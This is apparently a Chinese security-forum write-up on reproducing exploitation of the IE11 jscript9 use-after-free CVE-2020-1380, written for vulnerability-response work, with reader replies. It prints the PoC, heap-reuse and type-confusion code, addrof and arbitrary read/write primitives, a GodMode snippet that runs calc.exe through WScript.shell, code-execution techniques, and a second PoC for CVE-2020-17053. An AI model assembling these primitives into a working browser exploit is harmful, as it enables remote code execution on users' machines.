首页
论坛
课程
招聘
[原创]IE JScript9.dll UAF漏洞(CVE-2020-1380)利用复现笔记
2020-11-30 20:20 6670

[原创]IE JScript9.dll UAF漏洞(CVE-2020-1380)利用复现笔记

2020-11-30 20:20
6670

目录

前言

从2019年到2020年,Windows平台的ITW|In The Wild| 0day趋势大致上从IE转向了Chrome,针对IE的浏览器攻击依然存在,不过攻击目标从jscript转向了jscript9。

 

站在威胁响应储备的角度,适当积累一些Chrome 1day的分析和IE 1day的分析知识可以节省后续对同类型漏洞的响应时间。本文随笔者来看一下CVE-2020-1380这个jscript9漏洞。这是今年8月被披露的一个IE在野漏洞,本文将在重点探讨这个漏洞的利用部分|侧重于x86平台|,希望本文可以给后续分析此类漏洞的分析人员带来帮助。

漏洞概述

CVE-2020-1380是IE11上jscript9引擎的一个UAF漏洞,其成因是Array.prototype.push的副作用导致JIT引擎数据类型推导错误,漏洞触发的相关细节@iamelli0t已经在趋势科技的blog中写的很清楚了。漏洞poc如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
var ab = new ArrayBuffer(0x8c);
var fa = new Float32Array(ab);
 
var obj = {};
obj.valueOf = function() {
    worker = new Worker('worker.js');
    worker.postMessage(ab, [ab]);
    worker.terminate();
    worker = null;
 
    var start = Date.now();
    while (Date.now() - start < 200) {}
 
    return 0
};
 
function opt(a, b, c, d) {
    a = 1;
    arguments.push = Array.prototype.push;
    arguments.length = 0;
    arguments.push(d);
 
    if (c) {
        a = 2;
    }
 
    b[0] = a;
};
 
for (var i = 0; i < 0x100000; i++) {
    opt(1, fa, 1, 1);
}
 
opt(1, fa, 0, obj);

漏洞利用

本文重点来看一下这个漏洞的利用过程,卡巴斯基的blog和@iamelli0t在看雪峰会上的演讲都提到了这个漏洞利用的思路,但没有给出完整的利用代码|本文也不会给出完整的利用代码|,笔者借助这些提示对该漏洞利用进行了复现,接下来分享一些在利用编写过程中遇到的关键点。

从UAF到类型混淆

以poc为例,该漏洞可以导致ab对应的buffer|1.buffer大小可控|在valueOf会掉中被释放,并且会将valueOf的返回值|2.返回值可控|写入到数组b内可控的偏移|3.写入偏移可控|。

 

鉴于前述1、2、3带来的可控性,一种利用思路是在valueOf回调内用LargeHeapBlock对象去重用被释放的内存。这里有几个问题需要确认:

  1. 如何让jscript9申请LargeHeapBlock对象?
  2. 如何挑选需要Free的大小?

首先来解决第1个问题,"Hack Away at the Unessential" with ExpLib2 in Metasploit"这篇文章中对LargeHeapBlock对象的申请过程有一个清晰的描述,借鉴这篇文章的思路,笔者采用分配大量Array并进行初始化的方式触发对LargeHeapBlock的申请,如下:

1
2
3
4
5
for (var i = 0; i < 0x200; ++i) {
    a[i] = new Array((0x1000 - 0x20) / 4);
    for (var j = 0; j < a[i].length; ++j)
        a[i][j] = 0x111;
}

接下来是第2个问题,笔者在调试过程中发现实际申请的LargeHeapBlock是一个变长对象,如果按照《The Art of Leaks: The Return of Heap Feng Shui》中的写法,对new Array传入的参数是0x3bf8,那么实际申请得到的LargeHeapBlock对象大小为0x68,如果按照"Hack Away at the Unessential" with ExpLib2 in Metasploit"中的写法,对new Array传入的参数是(0x1000 - 0x20) / 4,那么实际申请得到的LargeHeapBlock对象大小为0x8c,如果传入的为其他值,实际申请的LargeHeapBlock对象大小会变成其他值。

 

笔者在实验过程中发现,如果被释放的buffer大小为0x68,在笔者的占位代码重用这块内存之前的某个时刻,系统在某次0x64内存的申请中会重用这块内存,这导致了UAF的不稳定性;如果被释放的buffer大小为0x8c/0x80等,就可以借助LargeHeapBlock对象对释放的内存进行稳定重用,为了描述方便,笔者这里采用0x8c这个大小,代码片段如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
obj.valueOf = function() {
    // free
    worker = new Worker('worker.js');
    worker.postMessage(ab, [ab]);
    worker.terminate();
    worker = null;
 
    // sleep
    var start = Date.now();
    while (Date.now() - start < 200) {}
 
    for (var i = 0; i < 0x200; ++i) {
        b[i] = new Array((0x1000 - 0x20) / 4);
        for (var j = 0; j < b[i].length; ++j)
            b[i][j] = 0x666;
    }
 
    return 0;
};

借助LargeHeapBlock重用被释放的buffer后,一种比较好的思路是将LargeHeapBlock对象的Allocated Block Count字段置为0,32位下这个字段在LargeHeapBlock起始地址的+0x14偏移处,这相当于被释放的buffer(假设该buffer被用于初始化一个Float32Array)的第6个成员。即fa[5]。所以,只需在回调函数中返回0,并且采用fa[5] = obj语句触发回调,就可以在回调结束后将LargeHeapBlock的Allocated Block Count字段置为0。该字段被置位0后,只要手动触发GC,此LargeHeapBlock对象对应的buffer|令其为buffer b|就会被释放。此时如果立即申请新的LargeHeapBlock对象,就可以把buffer b的内存重用:

1
2
3
4
5
6
7
CollectGarbage();
 
for (var i = 0; i < 0x200; ++i) {
    c[i] = new Array((0x1000 - 0x20) / 4);
    for (var j = 0; j < c[i].length; ++j)
        c[i][j] = 0x888;
}

重用之后,上述代码中的b和c两个数组内将存在两个共用同一块内存的数组,接下来的任务就是把这两个数组在数组b和数组c内对应的索引找出来:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
for (var i = 0; i < b.length; i += 1) {
    if (b[i][0] == 0x888) {
        index1 = i;
        b[i][0] = 0x666;
        break;
    }
}
 
for (var i = 0; i < b.length; i += 1) {
    if (c[i][0] == 0x666) {
        index2 = i;
        break;
    }
}

通过上述操作,笔者得到了b[index1]和c[index2]两个Array数组,它们指向同一片内存。得到这两个数组后,如何实现类型混淆呢?比较好的思路是借助对数组元成员赋值时数组类型的自动转换,例如:

1
c[index2][0] = {};

上述操作会将c[index2]数组类型转化为Js::JavascriptArray类型,而此时指向同一片空间内的b[index1]数组却是Js::JavascriptNativeIntArray类型,这样就实现了类型混淆。

任意地址泄露

借助这两个数组的混淆,可以直接实现一个任意对象地址泄露原语leak_obj|即通常所谓的addrof原语|:

1
2
3
4
5
6
7
var int_arr = b[index1];
var obj_arr = c[index2];
 
function leak_obj(obj) {
    obj_arr[2] = obj;
    return int_arr[2];
}

任意地址读写

接下来需要借助上述两个类型混淆的数组伪造一个可以实现任意地址读写的DataView对象,关于这部分的具体实现和细节描述,古河老师已经在在CVE-2019-1221的代码中给出了实现,Ox9A82师傅则在安全客上对构造步骤进行了详细描述|虽然这篇博客写的是x64平台,不过里面描述的原理和现象在x86上是一致的|,这里不再做额外描述。

 

这样,就得到了一个可以用于任意地址读写的DataView对象,在其基础上即可实现任意地址读写原语:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
function read32(addr) {
    fake_obj[7] = addr;
    low4 = DataView.prototype.getUint16.call(obj_arr[1], 0, true);
    high4 = DataView.prototype.getUint16.call(obj_arr[1], 2, true);
    value = (high4 << 16) + low4;
    return value;
}
 
function write32(addr, value) {
    fake_obj[7] = addr;
    low4 = 0xffff & value;
    high4 = (0xffff0000 & value) >> 16;
    DataView.prototype.setUint16.call(obj_arr[1], 0, low4, true);
    DataView.prototype.setUint16.call(obj_arr[1], 2, high4, true);
}

Bypass ASLR

借助leak_obj原语与read32原语,简单封装一些功能函数即可实现getModuleBase等功能函数,从而泄露jscript9模块的基地址。

代码执行的3种方式

前面已经完成对相关原语的构造,最后再讨论3种代码执行的方式。

方式1:GodMode

方式1是借助原语关闭jscript9的GodMode开关,随后就可以使用ActiveX一路开挂,这种思路古河老师在2014年已经公开。@iamelli0t则在《Look Mom, I dont use Shellcode议题Exploit复现》一文中对相关细节进行了详细描述,整个代码实现非常简单:

1
2
3
4
5
6
7
8
9
10
11
12
function run_shellcode() {
    var shell = new ActiveXObject("WScript.shell");
    shell.Exec("calc.exe");
}
 
var leak_activex_addr = leak_obj(ActiveXObject);
var script_engine = read32(read32(leak_activex_addr + 0x1c) + 0x04);
var safe_mode = script_engine + 0x1F4;
 
// turn on god mode
write32(safe_mode, 0);
run_shellcode();

方式2:虚表劫持

方式2则是古河老师在CVE-2019-1221的代码中给出的方法,劫持Js::JavascriptOperators::HasItem函数内的一处虚表调用为WinExec,这样也可以实现代码执行:

1
2
3
4
5
6
7
0:014> k
ChildEBP RetAddr 
0599bc5c 68339b7b kernel32!WinExec
0599bc78 683c2822 jscript9!Js::JavascriptOperators::HasItem+0x2f
0599bc94 683f13de jscript9!Js::JavascriptOperators::IsIn+0x6c
0599be88 682ac96b jscript9!Js::InterpreterStackFrame::Process+0x4e29
...cut...

方式3:覆盖栈上返回地址

方式3是经典的覆盖栈上返回地址的方法,这种方法的难点在于如何找到jscript9的函数执行栈。其实pwn.js内的chakraexploit.js模块已经对这种方式进行了实现,chakraexploit.js内给出的是查找x64平台chakra|core|.dll内js函数栈的过程,相关代码引用如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
['linkToBeginningThreadContext', [0x48, 0x8B, 0xC4, 0x4C, 0x89, 0x40, 0x18, 0x48, 0x89, 0x50, 0x10, 0x48, 0x89, 0x48, 0x08, 0x48, 0x83, -1, -1, 0x00]],
...cut...
 
// initialize ThreadContext information
if (this.gadgets.linkToBeginningThreadContext[17] == 0x61) {
    this.threadContextPrev = this.gadgets.linkToBeginningThreadContext[18] / 8;
    this.threadContextNext = this.gadgets.linkToBeginningThreadContext[30] / 8;
    this.globalListFirst = new this.PointerType(this.Uint64Ptr).cast(this.Uint64.cast(this.gadgets.linkToBeginningThreadContext).add(27).add(this.Int32Ptr.cast(this.gadgets.linkToBeginningThreadContext.add(23))[0]));
} else if (this.gadgets.linkToBeginningThreadContext[17] == 0xA1) {
    this.threadContextPrev = this.gadgets.linkToBeginningThreadContext[18] / 8;
    this.threadContextNext = this.gadgets.linkToBeginningThreadContext[33] / 8;
    this.globalListFirst = new this.PointerType(this.Uint64Ptr).cast(this.Uint64.cast(this.gadgets.linkToBeginningThreadContext).add(30).add(this.Int32Ptr.cast(this.gadgets.linkToBeginningThreadContext.add(26))[0]));
} else {
    throw 'unsupported version';
}
var p = this.globalListFirst[0];
for (var i = 0;; i++) {
    if ((p[i] & 0xffff) == 0xc000) {
        break;
    }
}
 
...cut...
 
// initialize stackTop
this.findStackTop();
 
ChakraExploit.prototype.findStackTop = function () {
    if (this.stackTop === undefined) {
        // Default stack size of browser tab
        //  10 MB
        // Default stack size of web worker
        //   1 MB
        if ('undefined' !== typeof WorkerGlobalScope) {
            var stackLimit = this.globalListFirst.load()[this.threadContextStackLimit];
            var stackSize = 1 * 1024 * 1024;
        } else {
            var stackLimit = this.globalListFirst.load()[this.threadContextStackLimit];
            var stackSize = 10 * 1024 * 1024;
        }
        var stackTop = stackLimit.sub(0xc000).add(stackSize);
        this.stackTop = stackTop;
    }
}

上述代码的基本思路是:借助特征码查找定位到以下函数的头部:

1
JsUtil::DoublyLinkedListElement<ThreadContext>::LinkToBeginning<ThreadContext>

取出ThreadContext::globalListFirst的全局地址,从该全局地址中读取ThreadContext实例基址,然后顺着基址定位到ThreadContext的StackLimitForCurrentThread成员。

1
2
3
// x86平台ThreadContext的部分成员偏移
+0x14 currentThreadId
+0x18 StackLimitForCurrentThread

StackLimitForCurrentThread本身是一段状态为reserved的内存,它并不是chakra|core|.dll内的js执行函数栈,但是每次执行时,这两者之间总是有一个相对固定的偏移,修正这个偏移后就可以定位到chakra|core|.dll内的js函数栈。

 

由于IE11上的jscript9引擎采用的就是chakra引擎的另一个分支,所以顺着上述思路,笔者很快便对jscript9的js函数执行栈进行了定位|在windbg中,如果加载了符号,可以直接用|? jscript9!ThreadContext::globalListFirst命令|找出ThreadContext::globalListFirst的地址|。

 

找到js函数栈后,需要挑选一个合适的返回地址进行覆盖,卡巴斯基的blog和@iamelli0t在看雪峰会上的演讲分别描述的是对Js::JavascriptString::EntrySplit和Js::JavascriptString::EntrySlice函数的返回地址进行覆盖,两者大同小异。此外这里进入相关调用的方法也可以继续采用valueOf回调,例如:

1
2
3
4
5
var obj2 = {};
obj2.valueOf = function() {
    // search and overwrite the return address of jscript9!Js::JavascriptString::EntrySplit |after call it|
};
"123".split('', obj2)

上述方式也可以实现代码执行并Bypass CFG:

1
2
3
4
5
6
7
8
9
10
11
12
0:013> k
ChildEBP RetAddr 
0623b7fc 75bbc265 kernel32!WinExec
0623b9f8 68c4c96b kernel32!_ResourceCallEnumTypeRoutine+0x21
0623bbc4 08390fe9 jscript9!Js::InterpreterStackFrame::InterpreterThunk<1>+0x1ce
WARNING: Frame IP not in any known module. Following frames may be wrong.
0623bbd0 68c482cd 0x8390fe9
0623bc10 68c48a05 jscript9!Js::JavascriptFunction::CallFunction<1>+0x91
0623bc84 68c4893f jscript9!Js::JavascriptFunction::CallRootFunction+0xc1
0623bccc 68c488bf jscript9!ScriptSite::CallRootFunction+0x42
0623bcfc 68d13453 jscript9!ScriptSite::Execute+0x61
...cut...

CVE-2020-17053

上周@iamelli0t公开了CVE-2020-17053漏洞的poc,如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
var ab = new ArrayBuffer(0x8c);
var arr = new Float32Array(ab);
var flag = 0;
 
function pwn(index, value) {
    arr[index] = value;
}
 
var obj = {};
obj.valueOf = function () {
    if (flag == 1) {
        worker = new Worker('worker.js');
        worker.postMessage(ab, [ab]);
        worker.terminate();
        worker = null;
 
        var start = Date.now();
        while (Date.now() - start < 200) {}
 
        return 0x1337;
    }
    flag = 1;
}
 
pwn(0, obj);

这是个品相非常好的jscript9解释器漏洞,笔者发现这个漏洞具备的前置条件和CVE-2020-1380完全一致,所以利用思路也完全一致。在CVE-20201380的研究基础上,笔者很快就写出了CVE-2020-17053在Windows 2004 x86上的利用代码,如下|这个例子进一步表明研究最新1day的重要性|:

 

总结

在本文中,笔者对jscript9引擎内一类借助valueOf回调引发的UAF漏洞的利用过程进行了探索,相关分析思路对此类漏洞存在通用性。

 

这两年的ITW 0day披露情况表明,在野漏洞已经越来越深入主流浏览器|IE/FireFox/Chrome|的解释器和JIT引擎,与传统漏洞相比,此类漏洞的分析难度较大,这对应急响应人员提出了更高的要求。

参考链接

https://securelist.com/ie-and-windows-zero-day-operation-powerfall/97976/
https://www.trendmicro.com/en_us/research/20/h/cve-2020-1380-analysis-of-recently-fixed-ie-zero-day.html
https://www.trendmicro.com/en_us/research/20/k/cve-2020-17053-use-after-free-ie-vulnerability.html
https://blog.rapid7.com/2014/04/07/hack-away-at-the-unessential-with-explib2-in-metasploit/
https://www.anquanke.com/post/id/98774
https://zhuanlan.kanxue.com/article-14133.htm
https://www.freebuf.com/vuls/189887.html
https://github.com/rolinston/explib2
https://github.com/guhe120/browser/blob/master/GC/jit_calc.html
http://theori.io/pwnjs/chakraexploit.js.html
https://cansecwest.com/slides/2014/The%20Art%20of%20Leaks%20-%20read%20version%20-%20Yoyo.pdf


[看雪官方培训] Unicorn Trace还原Ollvm算法!《安卓高级研修班》2021年6月班火热招生!!

收藏
点赞3
打赏
分享
打赏 + 2.00
打赏次数 1 金额 + 2.00
 
赞赏  kanxue   +2.00 2020/11/30 感谢分享~
最新回复 (11)
雪    币: 1819
活跃值: 活跃值 (5122)
能力值: (RANK:350 )
在线值:
发帖
回帖
粉丝
kanxue 活跃值 8 2020-11-30 22:13
2
0
感谢分享!
雪    币: 22
能力值: ( LV1,RANK:0 )
在线值:
发帖
回帖
粉丝
KomiMoe_ 活跃值 2020-12-1 23:58
3
0
怎么计算器又又又又又又又又又被迫害了
雪    币: 1155
活跃值: 活跃值 (189)
能力值: ( LV2,RANK:15 )
在线值:
发帖
回帖
粉丝
Recird_847682 活跃值 2021-1-4 21:25
4
0
我在使用Ox9A82师傅则在安全客上这篇文章的方式来构造错误的DataView时,发现构造出来的dataView会被IE的js调试器识别出不是DataView对象(使用DataView.prototype.getInt32.call(obj_arr[1],0,true)读取数据时),这个问题怎么解决呀?望大佬告知!
雪    币: 1155
活跃值: 活跃值 (189)
能力值: ( LV2,RANK:15 )
在线值:
发帖
回帖
粉丝
Recird_847682 活跃值 2021-1-4 21:25
5
0

emmm

最后于 2021-1-4 21:26 被Recird_847682编辑 ,原因:
雪    币: 7585
活跃值: 活跃值 (1932)
能力值: ( LV15,RANK:720 )
在线值:
发帖
回帖
粉丝
银雁冰 活跃值 14 2021-1-6 09:12
6
0
Recird_847682 我在使用Ox9A82师傅则在安全客上这篇文章的方式来构造错误的DataView时,发现构造出来的dataView会被IE的js调试器识别出不是DataView对象(使用DataView.prototy ...
可以参考下古河老师的这份代码:https://github.com/guhe120/browser/blob/master/GC/jit_calc.html
雪    币: 1155
活跃值: 活跃值 (189)
能力值: ( LV2,RANK:15 )
在线值:
发帖
回帖
粉丝
Recird_847682 活跃值 2021-1-6 10:25
7
0
thanks
雪    币: 65
活跃值: 活跃值 (247)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
lifeandi 活跃值 2021-3-11 15:21
8
0
请问下,覆盖栈上返回地址 这种方法有参考代码吗
雪    币: 7585
活跃值: 活跃值 (1932)
能力值: ( LV15,RANK:720 )
在线值:
发帖
回帖
粉丝
银雁冰 活跃值 14 2021-3-12 22:25
9
1
lifeandi 请问下,覆盖栈上返回地址 这种方法有参考代码吗
jscript9的没有公开的,但chakra有,基本思路和这份代码:https://github.com/phoenhex/files/blob/master/exploits/cve-2018-8266/cve-2018-8266.js 第140-158行类似
雪    币: 65
活跃值: 活跃值 (247)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
lifeandi 活跃值 2021-3-12 23:06
10
0
银雁冰 jscript9的没有公开的,但chakra有,基本思路和这份代码:https://github.com/phoenhex/files/blob/master/exploits/cve-2018-82 ...
谢谢啊
雪    币:
能力值: ( LV1,RANK:0 )
在线值:
发帖
回帖
粉丝
一枚小白菜 活跃值 2021-3-31 23:44
11
0
请问一下,我在x86环境下按照Ox9A82师傅和古河老师的方法构造fake dataview,可是仍然被识别不是dataview对象,关于dataview各项的值是需要我用windbg或gdb调试出来的嘛?同时该漏洞poc用于x86平台,是因为largeheapblock在x86平台下第六项置0,如果用在x64平台的话应该怎么办?请大佬指教~,谢谢。
雪    币: 7585
活跃值: 活跃值 (1932)
能力值: ( LV15,RANK:720 )
在线值:
发帖
回帖
粉丝
银雁冰 活跃值 14 2021-4-1 09:22
12
0
一枚小白菜 请问一下,我在x86环境下按照Ox9A82师傅和古河老师的方法构造fake dataview,可是仍然被识别不是dataview对象,关于dataview各项的值是需要我用windbg或gdb调试出来 ...
关于dataview各项的值以调试器内实际确认的偏移和值为主;这个漏洞x64的利用我没有尝试过,应该会比x86困难一些
游客
登录 | 注册 方可回帖
返回